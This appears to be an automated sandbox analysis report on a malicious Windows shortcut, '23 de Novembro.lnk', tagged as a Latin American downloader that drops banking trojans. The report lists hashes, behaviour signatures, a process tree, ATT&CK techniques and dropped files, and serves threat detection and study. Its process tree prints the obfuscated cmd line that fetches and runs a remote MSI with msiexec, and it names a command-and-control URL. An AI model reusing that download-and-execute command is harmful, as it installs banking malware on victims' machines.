Analysis

  • max time kernel
    126s
  • max time network
    126s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    23-11-2021 15:26

General

  • Target

    23 de Novembro.lnk

  • Size

    1KB

  • MD5

    dbc89ba629ae4c675b9c77d6e2e7db23

  • SHA1

    b27c719b2226145787b90a07494dc66b32817b4e

  • SHA256

    0b58d3b97a11a82aafda54aa682cddc11cf513dbcf980a145a04c8b5a362ccdf

  • SHA512

    7e5225364a21aae63a9aaef89aeb7994e0c902e81220a4e169463ccb32a17986858d2e53dd9208dea2c07012e4d24f891e67109ec1c2fd7337f2a40328853d86

Malware Config

Extracted

Family

latam_generic_downloader

C2

https://ym4dusty.s3.sa-east-1.amazonaws.com/softo.kn3

Signatures

  • Generic LATAM Downloader

    Generic Latin American MSI downloader used to drop various banking trojans.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies Control Panel 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\23 de Novembro.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2816
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /V/c "sET JIEX=^|morMiSEe +1 ^|cMiSEmMiSEd&&sET IeCXE=mMiSEsieMiSExec.eMiSExe /i httMiSEps://qMiSE9j.s3.eu-west-MiSE2.amazoMiSEnaws.com/setMiSEupMiSE.mMiSEsi&&sEt MAoK=!IeCXE:MiSE=!&&sEt ESxCa=!JIEX:MiSE=!&&cmd /c !MAoK! !ESxCa!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3548
      • C:\Windows\system32\cmd.exe
        cmd /c msiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi |more +1 |cmd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3836
        • C:\Windows\system32\msiexec.exe
          msiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi
          4⤵
          • Blocklisted process makes network request
          • Use of msiexec (install) with remote resource
          • Enumerates connected drives
          • Drops file in Windows directory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:504
        • C:\Windows\system32\more.com
          more +1
          4⤵
            PID:656
          • C:\Windows\system32\cmd.exe
            cmd
            4⤵
              PID:1328
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:316
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 457278B14761D62B3F8D0AB15D9916B6
          2⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:3220
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            "C:\Windows\System32\Wbem\WMIC.exe" process call create 'C:\Users\Admin\Saved Games\Admin BNpCm\fZFej.exe'
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2084
      • C:\Users\Admin\Saved Games\Admin BNpCm\fZFej.exe
        "C:\Users\Admin\Saved Games\Admin BNpCm\fZFej.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies Control Panel
        • Suspicious use of WriteProcessMemory
        PID:3160
        • C:\Program Files (x86)\Internet explorer\iexplore.exe
          "C:\Program Files (x86)\Internet explorer\iexplore.exe"
          2⤵
          • Loads dropped DLL
          • Adds Run key to start application
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1992

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      3
      T1012

      Peripheral Device Discovery

      1
      T1120

      System Information Discovery

      4
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\Saved Games\Admin BNpCm\NvSmartMax.dll
        MD5

        cde8b5477d4c69e3b43b944b60936ca4

        SHA1

        6f105b786c112b947e96b0ad79f1636eaac5872b

        SHA256

        ebc8d19537d9bc69c910958d38aeea7059de5c624d0a3db760ea61bce69f1b6d

        SHA512

        6fa48acd8b7ea2bc7e0270651b1d2605385be211cfce0ce39f763ba96e560a5ccd4134feb2d5a4b05564d7b01a734b1f009e34e90bf2503cfc486bc51fcca196

      • C:\Users\Admin\Saved Games\Admin BNpCm\fZFej.exe
        MD5

        1f26da52aea0b3dfe2e829665bd2474f

        SHA1

        a852a99e2982df75842ccfc274ea3f9c54d22859

        SHA256

        33a71ea2fd95ac5682a12fd55bea29afb77828b9cc10991f0a88600fbf335f32

        SHA512

        dfc9574f115969f36e4ca3746355112030f0550b77bca1cc2a3cf73694a47964fd20359d178b0db81479f6bea6d7fa6e26470a7ad8d4300da2435b8ed6c14b1d

      • C:\Users\Admin\Saved Games\Admin BNpCm\fZFej.exe
        MD5

        1f26da52aea0b3dfe2e829665bd2474f

        SHA1

        a852a99e2982df75842ccfc274ea3f9c54d22859

        SHA256

        33a71ea2fd95ac5682a12fd55bea29afb77828b9cc10991f0a88600fbf335f32

        SHA512

        dfc9574f115969f36e4ca3746355112030f0550b77bca1cc2a3cf73694a47964fd20359d178b0db81479f6bea6d7fa6e26470a7ad8d4300da2435b8ed6c14b1d

      • C:\Users\Admin\Saved Games\Admin BNpCm\fZFej.~tmp
        MD5

        fa1f3bca7ab6fe1cdcecfbfba69262d5

        SHA1

        dc963018c7910bc0d1bd320ff4ce270b13f9434d

        SHA256

        bf7bf5943ff1c731d18b27eb1622f8eab30a13d709c74de11ff46e60869bfa7a

        SHA512

        c1b0ed4cda7e5f250efcecb505232f06bf2b6dd51badd5c6a3b08ef96333cba7fff7eb660e6a64873b0d13fc54fc872f0d908c99bd089650eccfafa1dd45c362

      • C:\Windows\Installer\MSID33F.tmp
        MD5

        a76b0b64803b2686d55d2eeb9b9442c2

        SHA1

        110c2962118aa0e52a84b801cfea78942ec12095

        SHA256

        5967b8d98e036e290d727b345f753fc676f8dba882b1e21be996cd2c8eb68625

        SHA512

        f33eeed547e470d15cd523115b9427d968ae66a7627a8a99e490b8a5a09c8cd891fe8e9513bce52e18975ae0b349275dba32f92407cacb18afc2c1f1f98f5fd5

      • C:\Windows\Installer\MSIDA15.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • C:\Windows\Installer\MSIE59F.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • \Users\Admin\Saved Games\Admin BNpCm\NvSmartMax.dll
        MD5

        248a1334a222f48b7cb37b2b02488e9f

        SHA1

        66ce82bc2ab0314528e564a53887099654db49fd

        SHA256

        43f2f5c426cc7ed5b7bd05501d6bcdb26ddff07c851f9763740c94a3dff5c23d

        SHA512

        b44422944fd76a05e2325bf651cc916c9148ff2e1ce2807878f1fa0b761fa5e3a96bd3e5163d14c2f6c986f42ca3dd845f426c01da10c3ae2b845f0b461ad54f

      • \Users\Admin\Saved Games\Admin BNpCm\NvSmartMax.dll
        MD5

        cf1daf8049f260f294de011c7d26a64d

        SHA1

        c615acfbc84f09001c8b06d211799f75c035831d

        SHA256

        3aea37228baa166990c3dd9932b007967bd1d92e820dc75c54dfe63b59636d3a

        SHA512

        fd14709985906d6d49b398af081045da628994437390a11cf6f05e2228b078a8b2e9d03033d5fddc7ffa98c717c7a0681937bd59f93a190cc42246e140e79d2b

      • \Users\Admin\Saved Games\Admin BNpCm\NvSmartMax.dll
        MD5

        0a4d198c3699c8643197bad1329e66da

        SHA1

        95eca95cfcdb9a107a8bc1830a4ffc33733b4b09

        SHA256

        6c52598af13a2851231e471762b059d8b6ebc1ce97a9d7d919df850c34819042

        SHA512

        4239ebb7a396b97514039838fc346ec33439b1dd9839c5b51dc0b02c4bd92b4fc9e481f316946903f3dca005e065dccf06d69aa4c61e022b0ef7078a761f9e3a

      • \Users\Admin\Saved Games\Admin BNpCm\NvSmartMax.dll
        MD5

        e7a26add7faae332933adef51d05a39b

        SHA1

        cf7578c89198cfba3978f3f269348895859fc653

        SHA256

        3ad84e4e1d8647b716696a85572b14eed693b6100f1ecd60b7ce5ffd1d4a529d

        SHA512

        26adc4050342777b90e667c068cf23e6f209330e160401510789a2366fd81e012a45923fc3d4985a29dfcbb94ac6319f0b2e77c8dabf931e7649bb3fe7518d5b

      • \Windows\Installer\MSIDA15.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • \Windows\Installer\MSIE59F.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • memory/316-122-0x00000280CA2C0000-0x00000280CA2C2000-memory.dmp
        Filesize

        8KB

      • memory/316-123-0x00000280CA2C0000-0x00000280CA2C2000-memory.dmp
        Filesize

        8KB

      • memory/504-117-0x0000000000000000-mapping.dmp
      • memory/504-118-0x0000024F6EFE0000-0x0000024F6EFE2000-memory.dmp
        Filesize

        8KB

      • memory/504-119-0x0000024F6EFE0000-0x0000024F6EFE2000-memory.dmp
        Filesize

        8KB

      • memory/656-120-0x0000000000000000-mapping.dmp
      • memory/1328-121-0x0000000000000000-mapping.dmp
      • memory/1992-139-0x0000000000000000-mapping.dmp
      • memory/2084-132-0x0000000000000000-mapping.dmp
      • memory/3160-138-0x0000000001390000-0x0000000002581000-memory.dmp
        Filesize

        17.9MB

      • memory/3220-126-0x0000000002EA0000-0x0000000002EA1000-memory.dmp
        Filesize

        4KB

      • memory/3220-125-0x0000000000000000-mapping.dmp
      • memory/3220-127-0x0000000002EA0000-0x0000000002EA1000-memory.dmp
        Filesize

        4KB

      • memory/3548-115-0x0000000000000000-mapping.dmp
      • memory/3836-116-0x0000000000000000-mapping.dmp